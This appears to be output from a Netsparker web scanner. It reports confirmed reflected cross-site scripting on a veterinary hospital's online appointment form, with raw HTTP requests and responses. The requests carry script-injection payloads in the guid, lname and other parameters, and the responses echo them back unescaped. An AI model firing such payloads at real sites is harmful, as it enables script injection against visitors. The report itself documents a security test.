<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET '"--></style></script><script>alert(0x000EA2)</script>
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET bb7552a95c443dc68ad4232bb5d9009a
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EA2)%3C/script%3E&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=bb7552a95c443dc68ad4232bb5d9009a&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:55 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->
<div>
<input type="checkbox" name="op..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET '"--></style></script><script>alert(0x000EB1)</script>
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET a809757f0eb5bddc52738ad81401e1db
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EB1)%3C/script%3E&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=a809757f0eb5bddc52738ad81401e1db&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:48:13 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="'"--></style></script><script>netsparker(0x000EB1)</script>" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET '"--></style></script><script>alert(0x000EC0)</script>
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 94cac20073430d927bf03915fe361a0a
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EC0)%3C/script%3E&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=94cac20073430d927bf03915fe361a0a&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:48:31 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
